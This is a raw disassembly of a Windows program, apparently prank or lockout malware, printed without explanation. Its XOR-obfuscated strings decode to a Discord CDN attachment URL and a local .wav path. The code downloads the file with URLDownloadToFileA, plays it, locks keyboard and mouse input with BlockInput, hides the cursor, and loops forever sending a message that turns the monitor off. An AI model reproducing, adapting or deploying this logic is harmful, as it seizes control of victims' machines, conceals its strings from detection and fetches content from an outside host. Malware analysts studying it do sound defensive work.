lea rcx, [rbp + 0xc8]
call fcn.140063330
mov byte [rbp + 0xca], al
mov dl, 0x6f
lea rcx, [rbp + 0xc8]
call fcn.140063330
mov byte [rbp + 0xcb], al
mov dl, 0x77
lea rcx, [rbp + 0xc8]
call fcn.140063330
mov byte [rbp + 0xcc], al
mov dl, 0x6e
lea rcx, [rbp + 0xc8]
call fcn.140063330
mov byte [rbp + 0xcd], al
mov dl, 0x20
lea rcx, [rbp + 0xc8]
call fcn.140063330
mov byte [rbp + 0xce], al
mov dl, 0x4c
lea rcx, [rbp + 0xc8]
call fcn.140063330
mov byte [rbp + 0xcf], al
mov dl, 0x6f
lea rcx, [rbp + 0xc8]
call fcn.140063330
mov byte [rbp + 0xd0], al
mov dl, 0x67
lea rcx, [rbp + 0xc8]
call fcn.140063330
mov byte [rbp + 0xd1], al
xor eax, eax
mov byte [rbp + 0xd2], al
mov rsi, rbx
nop dword [rax + rax]
mov rdx, rsi
lea rcx, [rbp + 0xc9]
call fcn.140063560
movzx edx, byte [rax]
lea rcx, [rbp + 0xc8]
call fcn.140063330
movzx edi, al
mov rdx, rsi
lea rcx, [rbp + 0xc9]
call fcn.140063560
mov byte [rax], dil
inc rsi
cmp rsi, 9
jb 0x140045df0
mov edx, 9
lea rcx, [rbp + 0xc9]
call fcn.140063560
mov byte [rax], 0
lea rcx, [rbp + 0xc9]
call fcn.140063550
mov rdx, rax
lea rcx, [rbp + 0xa30]
call fcn.140027c60
mov rcx, rax
call fcn.14003b760
mov byte [rsp + 0x4c], 0x15
mov dl, 0x36
lea rcx, [rsp + 0x4c]
call fcn.140063330
mov byte [rsp + 0x4d], al
xor eax, eax
mov byte [rsp + 0x4e], al
xor edx, edx
lea rcx, [rsp + 0x4d]
call fcn.140063560
movzx edx, byte [rax]
lea rcx, [rsp + 0x4c]
call fcn.140063330
movzx edi, al
xor edx, edx
lea rcx, [rsp + 0x4d]
call fcn.140063560
mov byte [rax], dil
mov edx, 1
lea rcx, [rsp + 0x4d]
call fcn.140063560
mov byte [rax], 0
lea rcx, [rsp + 0x4d]
call fcn.140063550
mov rdx, rax
lea rcx, [rbp + 0xa50]
call fcn.140027c60
mov r8, rax
lea rdx, [rbp + 0xa70]
mov rcx, qword [0x1400cdf88]
call fcn.14002d2f0
mov rcx, rax
call fcn.14002b8a0
lea rcx, [rbp + 0xa70]
call fcn.140065820
mov byte [rsp + 0x50], 0x33
mov dl, 0x30
lea rcx, [rsp + 0x50]
call fcn.140063330
mov byte [rsp + 0x51], al
xor eax, eax
mov byte [rsp + 0x52], al
xor edx, edx
lea rcx, [rsp + 0x51]
call fcn.140063560
movzx edx, byte [rax]
lea rcx, [rsp + 0x50]
call fcn.140063330
movzx edi, al
xor edx, edx
lea rcx, [rsp + 0x51]
call fcn.140063560
mov byte [rax], dil
mov edx, 1
lea rcx, [rsp + 0x51]
call fcn.140063560
mov byte [rax], 0
lea rcx, [rsp + 0x51]
call fcn.140063550
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_atoi]
mov ecx, 0x18
call fcn.14007cdb4
mov rdi, rax
mov qword [rsp + 0x30], rax
mov edx, 0x18
mov rcx, rax
call fcn.1400295b0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rdi], xmm0
mov qword [rdi + 0x10], rax
mov rcx, rdi
call fcn.140032500
mov r14, rax
mov byte [rbp - 0x5c], 0x1c
mov dl, 0x44
lea rcx, [rbp - 0x5c]
call fcn.140063330
mov byte [rbp - 0x5b], al
mov dl, 0x65
lea rcx, [rbp - 0x5c]
call fcn.140063330
mov byte [rbp - 0x5a], al
mov dl, 0x62
lea rcx, [rbp - 0x5c]
call fcn.140063330
mov byte [rbp - 0x59], al
mov dl, 0x75
lea rcx, [rbp - 0x5c]
call fcn.140063330
mov byte [rbp - 0x58], al
mov dl, 0x67
lea rcx, [rbp - 0x5c]
call fcn.140063330
mov byte [rbp - 0x57], al
xor eax, eax
mov byte [rbp - 0x56], al
mov rsi, rbx
mov rdx, rsi
lea rcx, [rbp - 0x5b]
call fcn.140063560
movzx edx, byte [rax]
lea rcx, [rbp - 0x5c]
call fcn.140063330
movzx edi, al
mov rdx, rsi
lea rcx, [rbp - 0x5b]
call fcn.140063560
mov byte [rax], dil
inc rsi
cmp rsi, 5
jb 0x140045ff1
mov edx, 5
lea rcx, [rbp - 0x5b]
call fcn.140063560
mov byte [rax], 0
lea rcx, [rbp - 0x5b]
call fcn.140063550
mov rdx, rax
lea rcx, [rbp + 0x8f0]
call fcn.140027c60
mov r8, rax
lea rdx, [rbp + 0xa90]
mov rcx, r14
call fcn.14002d2f0
mov rcx, rax
call fcn.14002b8a0
lea rcx, [rbp + 0xa90]
call fcn.140065820
call fcn.140028320
call fcn.140028380
mov ecx, 1
call qword [sym.imp.USER32.dll_BlockInput]
xor ecx, ecx
call qword [sym.imp.USER32.dll_ShowCursor]
mov byte [rbp + 0x4f0], 2
mov dl, 0x68
lea rcx, [rbp + 0x4f0]
call fcn.140063330
mov byte [rbp + 0x4f1], al
mov dl, 0x74
lea rcx, [rbp + 0x4f0]
call fcn.140063330
mov byte [rbp + 0x4f2], al
mov dl, 0x74
lea rcx, [rbp + 0x4f0]
call fcn.140063330
mov byte [rbp + 0x4f3], al
mov dl, 0x70
lea rcx, [rbp + 0x4f0]
call fcn.140063330
mov byte [rbp + 0x4f4], al
mov dl, 0x73
lea rcx, [rbp + 0x4f0]
call fcn.140063330
mov byte [rbp + 0x4f5], al
mov dl, 0x3a
lea rcx, [rbp + 0x4f0]
call fcn.140063330
mov byte [rbp + 0x4f6], al
mov dl, 0x2f
lea rcx, [rbp + 0x4f0]
call fcn.140063330
mov byte [rbp + 0x4f7], al
mov dl, 0x2f
lea rcx, [rbp + 0x4f0]
call fcn.140063330
mov byte [rbp + 0x4f8], al
mov dl, 0x63
lea rcx, [rbp + 0x4f0]
call fcn.140063330
mov byte [rbp + 0x4f9], al
mov dl, 0x64
lea rcx, [rbp + 0x4f0]
call fcn.140063330
mov byte [rbp + 0x4fa], al
mov dl, 0x6e
lea rcx, [rbp + 0x4f0]
call fcn.140063330
mov byte [rbp + 0x4fb], al
mov dl, 0x2e
lea rcx, [rbp + 0x4f0]
call fcn.140063330
mov byte [rbp + 0x4fc], al
mov dl, 0x64
lea rcx, [rbp + 0x4f0]
call fcn.140063330
mov byte [rbp + 0x4fd], al
mov dl, 0x69
lea rcx, [rbp + 0x4f0]
call fcn.140063330
mov byte [rbp + 0x4fe], al
mov dl, 0x73
lea rcx, [rbp + 0x4f0]
call fcn.140063330
mov byte [rbp + 0x4ff], al
mov dl, 0x63
lea rcx, [rbp + 0x4f0]
call fcn.140063330
mov byte [rbp + 0x500], al
mov dl, 0x6f
lea rcx, [rbp + 0x4f0]
call fcn.140063330
mov byte [rbp + 0x501], al
mov dl, 0x72
lea rcx, [rbp + 0x4f0]
call fcn.140063330
mov byte [rbp + 0x502], al
mov dl, 0x64
lea rcx, [rbp + 0x4f0]
call fcn.140063330
mov byte [rbp + 0x503], al
mov dl, 0x61
lea rcx, [rbp + 0x4f0]
call fcn.140063330
mov byte [rbp + 0x504], al
mov dl, 0x70
lea rcx, [rbp + 0x4f0]
call fcn.140063330
mov byte [rbp + 0x505], al
mov dl, 0x70
lea rcx, [rbp + 0x4f0]
call fcn.140063330
mov byte [rbp + 0x506], al
mov dl, 0x2e
lea rcx, [rbp + 0x4f0]
call fcn.140063330
mov byte [rbp + 0x507], al
mov dl, 0x63
lea rcx, [rbp + 0x4f0]
call fcn.140063330
mov byte [rbp + 0x508], al
mov dl, 0x6f
lea rcx, [rbp + 0x4f0]
call fcn.140063330
mov byte [rbp + 0x509], al
mov dl, 0x6d
lea rcx, [rbp + 0x4f0]
call fcn.140063330
mov byte [rbp + 0x50a], al
mov dl, 0x2f
lea rcx, [rbp + 0x4f0]
call fcn.140063330
mov byte [rbp + 0x50b], al
mov dl, 0x61
lea rcx, [rbp + 0x4f0]
call fcn.140063330
mov byte [rbp + 0x50c], al
mov dl, 0x74
lea rcx, [rbp + 0x4f0]
call fcn.140063330
mov byte [rbp + 0x50d], al
mov dl, 0x74
lea rcx, [rbp + 0x4f0]
call fcn.140063330
mov byte [rbp + 0x50e], al
mov dl, 0x61
lea rcx, [rbp + 0x4f0]
call fcn.140063330
mov byte [rbp + 0x50f], al
mov dl, 0x63
lea rcx, [rbp + 0x4f0]
call fcn.140063330
mov byte [rbp + 0x510], al
mov dl, 0x68
lea rcx, [rbp + 0x4f0]
call fcn.140063330
mov byte [rbp + 0x511], al
mov dl, 0x6d
lea rcx, [rbp + 0x4f0]
call fcn.140063330
mov byte [rbp + 0x512], al
mov dl, 0x65
lea rcx, [rbp + 0x4f0]
call fcn.140063330
mov byte [rbp + 0x513], al
mov dl, 0x6e
lea rcx, [rbp + 0x4f0]
call fcn.140063330
mov byte [rbp + 0x514], al
mov dl, 0x74
lea rcx, [rbp + 0x4f0]
call fcn.140063330
mov byte [rbp + 0x515], al
mov dl, 0x73
lea rcx, [rbp + 0x4f0]
call fcn.140063330
mov byte [rbp + 0x516], al
mov dl, 0x2f
lea rcx, [rbp + 0x4f0]
call fcn.140063330
mov byte [rbp + 0x517], al
mov dl, 0x31
lea rcx, [rbp + 0x4f0]
call fcn.140063330
mov byte [rbp + 0x518], al
mov dl, 0x31
lea rcx, [rbp + 0x4f0]
call fcn.140063330
mov byte [rbp + 0x519], al
mov dl, 0x37
lea rcx, [rbp + 0x4f0]
call fcn.140063330
mov byte [rbp + 0x51a], al
mov dl, 0x34
lea rcx, [rbp + 0x4f0]
call fcn.140063330
mov byte [rbp + 0x51b], al
mov dl, 0x30
lea rcx, [rbp + 0x4f0]
call fcn.140063330
mov byte [rbp + 0x51c], al
mov dl, 0x34
lea rcx, [rbp + 0x4f0]
call fcn.140063330
mov byte [rbp + 0x51d], al
mov dl, 0x39
lea rcx, [rbp + 0x4f0]
call fcn.140063330
mov byte [rbp + 0x51e], al
mov dl, 0x33
lea rcx, [rbp + 0x4f0]
call fcn.140063330
mov byte [rbp + 0x51f], al
mov dl, 0x36
lea rcx, [rbp + 0x4f0]
call fcn.140063330
mov byte [rbp + 0x520], al
mov dl, 0x38
lea rcx, [rbp + 0x4f0]
call fcn.140063330
mov byte [rbp + 0x521], al
mov dl, 0x39
lea rcx, [rbp + 0x4f0]
call fcn.140063330
mov byte [rbp + 0x522], al
mov dl, 0x31
lea rcx, [rbp + 0x4f0]
call fcn.140063330
mov byte [rbp + 0x523], al
mov dl, 0x31
lea rcx, [rbp + 0x4f0]
call fcn.140063330
mov byte [rbp + 0x524], al
mov dl, 0x39
lea rcx, [rbp + 0x4f0]
call fcn.140063330
mov byte [rbp + 0x525], al
mov dl, 0x31
lea rcx, [rbp + 0x4f0]
call fcn.140063330
mov byte [rbp + 0x526], al
mov dl, 0x37
lea rcx, [rbp + 0x4f0]
call fcn.140063330
mov byte [rbp + 0x527], al
mov dl, 0x30
lea rcx, [rbp + 0x4f0]
call fcn.140063330
mov byte [rbp + 0x528], al
mov dl, 0x35
lea rcx, [rbp + 0x4f0]
call fcn.140063330
mov byte [rbp + 0x529], al
mov dl, 0x37
lea rcx, [rbp + 0x4f0]
call fcn.140063330
mov byte [rbp + 0x52a], al
mov dl, 0x2f
lea rcx, [rbp + 0x4f0]
call fcn.140063330
mov byte [rbp + 0x52b], al
mov dl, 0x31
lea rcx, [rbp + 0x4f0]
call fcn.140063330
mov byte [rbp + 0x52c], al
mov dl, 0x31
lea rcx, [rbp + 0x4f0]
call fcn.140063330
mov byte [rbp + 0x52d], al
mov dl, 0x38
lea rcx, [rbp + 0x4f0]
call fcn.140063330
mov byte [rbp + 0x52e], al
mov dl, 0x30
lea rcx, [rbp + 0x4f0]
call fcn.140063330
mov byte [rbp + 0x52f], al
mov dl, 0x39
lea rcx, [rbp + 0x4f0]
call fcn.140063330
mov byte [rbp + 0x530], al
mov dl, 0x36
lea rcx, [rbp + 0x4f0]
call fcn.140063330
mov byte [rbp + 0x531], al
mov dl, 0x34
lea rcx, [rbp + 0x4f0]
call fcn.140063330
mov byte [rbp + 0x532], al
mov dl, 0x31
lea rcx, [rbp + 0x4f0]
call fcn.140063330
mov byte [rbp + 0x533], al
mov dl, 0x34
lea rcx, [rbp + 0x4f0]
call fcn.140063330
mov byte [rbp + 0x534], al
mov dl, 0x38
lea rcx, [rbp + 0x4f0]
call fcn.140063330
mov byte [rbp + 0x535], al
mov dl, 0x30
lea rcx, [rbp + 0x4f0]
call fcn.140063330
mov byte [rbp + 0x536], al
mov dl, 0x33
lea rcx, [rbp + 0x4f0]
call fcn.140063330
mov byte [rbp + 0x537], al
mov dl, 0x33
lea rcx, [rbp + 0x4f0]
call fcn.140063330
mov byte [rbp + 0x538], al
mov dl, 0x36
lea rcx, [rbp + 0x4f0]
call fcn.140063330
mov byte [rbp + 0x539], al
mov dl, 0x33
lea rcx, [rbp + 0x4f0]
call fcn.140063330
mov byte [rbp + 0x53a], al
mov dl, 0x34
lea rcx, [rbp + 0x4f0]
call fcn.140063330
mov byte [rbp + 0x53b], al
mov dl, 0x33
lea rcx, [rbp + 0x4f0]
call fcn.140063330
mov byte [rbp + 0x53c], al
mov dl, 0x38
lea rcx, [rbp + 0x4f0]
call fcn.140063330
mov byte [rbp + 0x53d], al
mov dl, 0x34
lea rcx, [rbp + 0x4f0]
call fcn.140063330
mov byte [rbp + 0x53e], al
mov dl, 0x2f
lea rcx, [rbp + 0x4f0]
call fcn.140063330
mov byte [rbp + 0x53f], al
mov dl, 0x2d
lea rcx, [rbp + 0x4f0]
call fcn.140063330
mov byte [rbp + 0x540], al
mov dl, 0x2d
lea rcx, [rbp + 0x4f0]
call fcn.140063330
mov byte [rbp + 0x541], al
mov dl, 0x2d
lea rcx, [rbp + 0x4f0]
call fcn.140063330
mov byte [rbp + 0x542], al
mov dl, 0x2d
lea rcx, [rbp + 0x4f0]
call fcn.140063330
mov byte [rbp + 0x543], al
mov dl, 0x2d
lea rcx, [rbp + 0x4f0]
call fcn.140063330
mov byte [rbp + 0x544], al
mov dl, 0x2d
lea rcx, [rbp + 0x4f0]
call fcn.140063330
mov byte [rbp + 0x545], al
mov dl, 0x2d
lea rcx, [rbp + 0x4f0]
call fcn.140063330
mov byte [rbp + 0x546], al
mov dl, 0x2d
lea rcx, [rbp + 0x4f0]
call fcn.140063330
mov byte [rbp + 0x547], al
mov dl, 0x2e
lea rcx, [rbp + 0x4f0]
call fcn.140063330
mov byte [rbp + 0x548], al
mov dl, 0x77
lea rcx, [rbp + 0x4f0]
call fcn.140063330
mov byte [rbp + 0x549], al
mov dl, 0x61
lea rcx, [rbp + 0x4f0]
call fcn.140063330
mov byte [rbp + 0x54a], al
mov dl, 0x76
lea rcx, [rbp + 0x4f0]
call fcn.140063330
mov byte [rbp + 0x54b], al
xor eax, eax
mov byte [rbp + 0x54c], al
mov rsi, rbx
nop
mov rdx, rsi
lea rcx, [rbp + 0x4f1]
call fcn.140063560
movzx edx, byte [rax]
lea rcx, [rbp + 0x4f0]
call fcn.140063330
movzx edi, al
mov rdx, rsi
lea rcx, [rbp + 0x4f1]
call fcn.140063560
mov byte [rax], dil
inc rsi
cmp rsi, 0x5b
jb 0x1400467c0
mov edx, 0x5b
lea rcx, [rbp + 0x4f1]
call fcn.140063560
mov byte [rax], 0
lea rcx, [rbp + 0x4f1]
call fcn.140063550
mov rdx, rax
lea rcx, [rbp + 0xd70]
call fcn.140027c60
nop
mov byte [rbp + 0x220], 0x64
mov dl, 0x43
lea rcx, [rbp + 0x220]
call fcn.140063330
mov byte [rbp + 0x221], al
mov dl, 0x3a
lea rcx, [rbp + 0x220]
call fcn.140063330
mov byte [rbp + 0x222], al
mov dl, 0x5c
lea rcx, [rbp + 0x220]
call fcn.140063330
mov byte [rbp + 0x223], al
mov dl, 0x2d
lea rcx, [rbp + 0x220]
call fcn.140063330
mov byte [rbp + 0x224], al
mov dl, 0x2d
lea rcx, [rbp + 0x220]
call fcn.140063330
mov byte [rbp + 0x225], al
mov dl, 0x2d
lea rcx, [rbp + 0x220]
call fcn.140063330
mov byte [rbp + 0x226], al
mov dl, 0x2d
lea rcx, [rbp + 0x220]
call fcn.140063330
mov byte [rbp + 0x227], al
mov dl, 0x2d
lea rcx, [rbp + 0x220]
call fcn.140063330
mov byte [rbp + 0x228], al
mov dl, 0x2d
lea rcx, [rbp + 0x220]
call fcn.140063330
mov byte [rbp + 0x229], al
mov dl, 0x2d
lea rcx, [rbp + 0x220]
call fcn.140063330
mov byte [rbp + 0x22a], al
mov dl, 0x2d
lea rcx, [rbp + 0x220]
call fcn.140063330
mov byte [rbp + 0x22b], al
mov dl, 0x2e
lea rcx, [rbp + 0x220]
call fcn.140063330
mov byte [rbp + 0x22c], al
mov dl, 0x77
lea rcx, [rbp + 0x220]
call fcn.140063330
mov byte [rbp + 0x22d], al
mov dl, 0x61
lea rcx, [rbp + 0x220]
call fcn.140063330
mov byte [rbp + 0x22e], al
mov dl, 0x76
lea rcx, [rbp + 0x220]
call fcn.140063330
mov byte [rbp + 0x22f], al
xor eax, eax
mov byte [rbp + 0x230], al
mov rsi, rbx
nop word [rax + rax]
mov rdx, rsi
lea rcx, [rbp + 0x221]
call fcn.140063560
movzx edx, byte [rax]
lea rcx, [rbp + 0x220]
call fcn.140063330
movzx edi, al
mov rdx, rsi
lea rcx, [rbp + 0x221]
call fcn.140063560
mov byte [rax], dil
inc rsi
cmp rsi, 0xf
jb 0x140046970
mov edx, 0xf
lea rcx, [rbp + 0x221]
call fcn.140063560
mov byte [rax], 0
lea rcx, [rbp + 0x221]
call fcn.140063550
mov rdx, rax
lea rcx, [rbp + 0xd50]
call fcn.140027c60
nop
lea rcx, [rbp + 0xd50]
call fcn.14002b8a0
mov rdi, rax
lea rcx, [rbp + 0xd70]
call fcn.14002b8a0
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8, rdi
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov byte [rbp + 0x238], 0x50
mov dl, 0x43
lea rcx, [rbp + 0x238]
call fcn.140063330
mov byte [rbp + 0x239], al
mov dl, 0x3a
lea rcx, [rbp + 0x238]
call fcn.140063330
mov byte [rbp + 0x23a], al
mov dl, 0x5c
lea rcx, [rbp + 0x238]
call fcn.140063330
mov byte [rbp + 0x23b], al
mov dl, 0x2d
lea rcx, [rbp + 0x238]
call fcn.140063330
mov byte [rbp + 0x23c], al
mov dl, 0x2d
lea rcx, [rbp + 0x238]
call fcn.140063330
mov byte [rbp + 0x23d], al
mov dl, 0x2d
lea rcx, [rbp + 0x238]
call fcn.140063330
mov byte [rbp + 0x23e], al
mov dl, 0x2d
lea rcx, [rbp + 0x238]
call fcn.140063330
mov byte [rbp + 0x23f], al
mov dl, 0x2d
lea rcx, [rbp + 0x238]
call fcn.140063330
mov byte [rbp + 0x240], al
mov dl, 0x2d
lea rcx, [rbp + 0x238]
call fcn.140063330
mov byte [rbp + 0x241], al
mov dl, 0x2d
lea rcx, [rbp + 0x238]
call fcn.140063330
mov byte [rbp + 0x242], al
mov dl, 0x2d
lea rcx, [rbp + 0x238]
call fcn.140063330
mov byte [rbp + 0x243], al
mov dl, 0x2e
lea rcx, [rbp + 0x238]
call fcn.140063330
mov byte [rbp + 0x244], al
mov dl, 0x77
lea rcx, [rbp + 0x238]
call fcn.140063330
mov byte [rbp + 0x245], al
mov dl, 0x61
lea rcx, [rbp + 0x238]
call fcn.140063330
mov byte [rbp + 0x246], al
mov dl, 0x76
lea rcx, [rbp + 0x238]
call fcn.140063330
mov byte [rbp + 0x247], al
xor eax, eax
mov byte [rbp + 0x248], al
nop dword [rax + rax]
mov rdx, rbx
lea rcx, [rbp + 0x239]
call fcn.140063560
movzx edx, byte [rax]
lea rcx, [rbp + 0x238]
call fcn.140063330
movzx edi, al
mov rdx, rbx
lea rcx, [rbp + 0x239]
call fcn.140063560
mov byte [rax], dil
inc rbx
cmp rbx, 0xf
jb 0x140046b50
mov edx, 0xf
lea rcx, [rbp + 0x239]
call fcn.140063560
mov byte [rax], 0
lea rcx, [rbp + 0x239]
call fcn.140063550
mov rcx, rax
xor edx, edx
mov r8d, 0x20000
call qword [sym.imp.WINMM.dll_PlaySoundA]
nop dword [rax]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_SetCursorPos]
mov edx, 0x112
mov ecx, 0xffff
mov r9d, 2
mov r8d, 0xf170
call qword [sym.imp.USER32.dll_SendMessageA]
jmp 0x140046bc0
mov byte [rbp + 0x660], 0x3f
mov al, 0x7c
mov cl, 0x53
mov dl, 0x50
mov r8b, 0x48
mov r9b, 0x51
mov r10b, 0x1f
mov r11b, 0x73
movzx edi, dl
mov sil, 0x58
xor r14d, r14d
xor al, 0x3f
mov byte [rbp + 0x661], al
xor cl, 0x3f
mov byte [rbp + 0x662], cl
xor dl, 0x3f
mov byte [rbp + 0x663], dl
xor r8b, 0x3f
mov byte [rbp + 0x664], r8b
xor r9b, 0x3f
mov byte [rbp + 0x665], r9b
xor r10b, 0x3f
mov byte [rbp + 0x666], r10b
xor r11b, 0x3f
mov byte [rbp + 0x667], r11b
xor dil, 0x3f
mov byte [rbp + 0x668], dil
xor sil, 0x3f
mov byte [rbp + 0x669], sil
mov byte [rbp + 0x66a], r14b
lea rdx, [rbp + 0x661]
lea rcx, [rbp + 0xab0]
call fcn.140027c60
mov rcx, rax
call fcn.14003b760
mov byte [rbp + 0x61c], 0x68
mov al, 0x59
xor ecx, ecx
xor al, 0x68
mov byte [rbp + 0x61d], al
mov byte [rbp + 0x61e], cl
lea rdx, [rbp + 0x61d]
lea rcx, [rbp + 0xad0]
call fcn.140027c60
mov r8, rax
lea rdx, [rbp + 0xaf0]
mov rcx, qword [0x1400cdf88]
call fcn.14002d2f0
mov rcx, rax
call fcn.14002b8a0
lea rcx, [rbp + 0xaf0]
call fcn.140065820
lea ecx, [r14 + 0x18]
call fcn.14007cdb4
mov qword [rsp + 0x30], rax
xor ecx, ecx
xorps xmm1, xmm1
movups xmmword [rax], xmm1
mov qword [rax + 0x10], rcx
mov rcx, rax
call fcn.140032500
mov rdi, rax
mov byte [rbp + 0x634], 0x1c
mov cl, 0x58
mov dl, 0x79
mov r8b, 0x7e
mov r9b, 0x69
mov r10b, 0x7b
xor eax, eax
xor cl, 0x1c
mov byte [rbp + 0x635], cl
xor dl, 0x1c
mov byte [rbp + 0x636], dl
xor r8b, 0x1c
mov byte [rbp + 0x637], r8b
xor r9b, 0x1c
mov byte [rbp + 0x638], r9b
xor r10b, 0x1c
mov byte [rbp + 0x639], r10b
mov byte [rbp + 0x63a], al
lea rdx, [rbp + 0x635]
lea rcx, [rbp + 0xb10]
call fcn.140027c60
mov r8, rax
lea rdx, [rbp + 0xb30]
mov rcx, rdi
call fcn.14002d2f0
mov rcx, rax
call fcn.14002b8a0
lea rcx, [rbp + 0xb30]
call fcn.140065820
call fcn.140028320
call fcn.140028380
lea ecx, [r14 + 1]
call qword [sym.imp.USER32.dll_BlockInput]
xor ecx, ecx
call qword [sym.imp.USER32.dll_ShowCursor]
movdqa xmm0, xmmword [0x14008da40]
movdqa xmmword [rbp + 0x730], xmm0
movdqa xmm1, xmmword [0x14008d8d0]
movdqa xmmword [rbp + 0x740], xmm1
movdqa xmm0, xmmword [0x14008d1e0]
movdqa xmmword [rbp + 0x750], xmm0
movdqa xmm1, xmmword [0x14008d200]
movdqa xmmword [rbp + 0x760], xmm1
movdqa xmm0, xmmword [0x14008d1b0]
movdqa xmmword [rbp + 0x770], xmm0
mov dword [rbp + 0x780], 0x2f2f2f2f
mov dword [rbp + 0x784], 0x2f2f2f2f
mov dword [rbp + 0x788], 0x7463752c
xor eax, eax
mov byte [rbp + 0x78c], al
mov rcx, rbx
movzx eax, byte [rbp + 0x730]
xor byte [rbp + rcx + 0x731], al
movzx eax, byte [rbp + 0x730]
xor byte [rbp + rcx + 0x732], al
movzx eax, byte [rbp + 0x730]
xor byte [rbp + rcx + 0x733], al
movzx eax, byte [rbp + 0x730]
xor byte [rbp + rcx + 0x734], al
movzx eax, byte [rbp + 0x730]
xor byte [rbp + rcx + 0x735], al
movzx eax, byte [rbp + 0x730]
xor byte [rbp + rcx + 0x736], al
movzx eax, byte [rbp + 0x730]
xor byte [rbp + rcx + 0x737], al
movzx eax, byte [rbp + 0x730]
xor byte [rbp + rcx + 0x738], al
movzx eax, byte [rbp + 0x730]
xor byte [rbp + rcx + 0x739], al
movzx eax, byte [rbp + 0x730]
xor byte [rbp + rcx + 0x73a], al
movzx eax, byte [rbp + 0x730]
xor byte [rbp + rcx + 0x73b], al
movzx eax, byte [rbp + 0x730]
xor byte [rbp + rcx + 0x73c], al
movzx eax, byte [rbp + 0x730]
xor byte [rbp + rcx + 0x73d], al
add rcx, 0xd
cmp rcx, 0x5b
jb 0x140046e20
mov byte [rbp + 0x78c], 0
lea rdx, [rbp + 0x731]
lea rcx, [rbp + 0xc90]
call fcn.140027c60
nop
movdqa xmm1, xmmword [str.d8IIIIIIIIJ]
movdqu xmmword [rbp + 0x5b0], xmm1
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd ecx, xmm1
xor al, cl
mov byte [rbp + 0x5b1], al
xor byte [rbp + 0x5b2], cl
xor byte [rbp + 0x5b3], cl
xor byte [rbp + 0x5b4], cl
xor byte [rbp + 0x5b5], cl
xor byte [rbp + 0x5b6], cl
xor byte [rbp + 0x5b7], cl
xor byte [rbp + 0x5b8], cl
xor byte [rbp + 0x5b9], cl
xor byte [rbp + 0x5ba], cl
xor byte [rbp + 0x5bb], cl
xor byte [rbp + 0x5bc], cl
xor byte [rbp + 0x5bd], cl
xor byte [rbp + 0x5be], cl
xor byte [rbp + 0x5bf], cl
mov byte [rbp + 0x5c0], 0
lea rdx, [rbp + 0x5b1]
lea rcx, [rbp + 0xc70]
call fcn.140027c60
lea rcx, [rbp + 0xc70]
call fcn.14002b8a0
mov rdi, rax
lea rcx, [rbp + 0xc90]
call fcn.14002b8a0
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8, rdi
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movdqa xmm1, xmmword [0x14008d100]
movdqu xmmword [rbp + 0x5c8], xmm1
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd ecx, xmm1
xor al, cl
mov byte [rbp + 0x5c9], al
xor byte [rbp + 0x5ca], cl
xor byte [rbp + 0x5cb], cl
xor byte [rbp + 0x5cc], cl
xor byte [rbp + 0x5cd], cl
xor byte [rbp + 0x5ce], cl
xor byte [rbp + 0x5cf], cl
xor byte [rbp + 0x5d0], cl
xor byte [rbp + 0x5d1], cl
xor byte [rbp + 0x5d2], cl
xor byte [rbp + 0x5d3], cl
xor byte [rbp + 0x5d4], cl
xor byte [rbp + 0x5d5], cl
xor byte [rbp + 0x5d6], cl
xor byte [rbp + 0x5d7], cl
mov byte [rbp + 0x5d8], 0
xor edx, edx
mov r8d, 0x20000
lea rcx, [rbp + 0x5c9]
call qword [sym.imp.WINMM.dll_PlaySoundA]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_SetCursorPos]
mov edx, 0x112
mov ecx, 0xffff
mov r9d, 2
mov r8d, 0xf170
call qword [sym.imp.USER32.dll_SendMessageA]
jmp 0x140047060
lea r9, [fcn.140065820]
mov edx, 0x20
lea r8d, [rdx + 0x14]
lea rcx, [rbp + 0xdb0]
call fcn.14007c780
mov al, 1
mov rcx, qword [rbp + 0x1430]
xor rcx, rsp
call fcn.14007c640
lea r11, [rsp + 0x1540]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret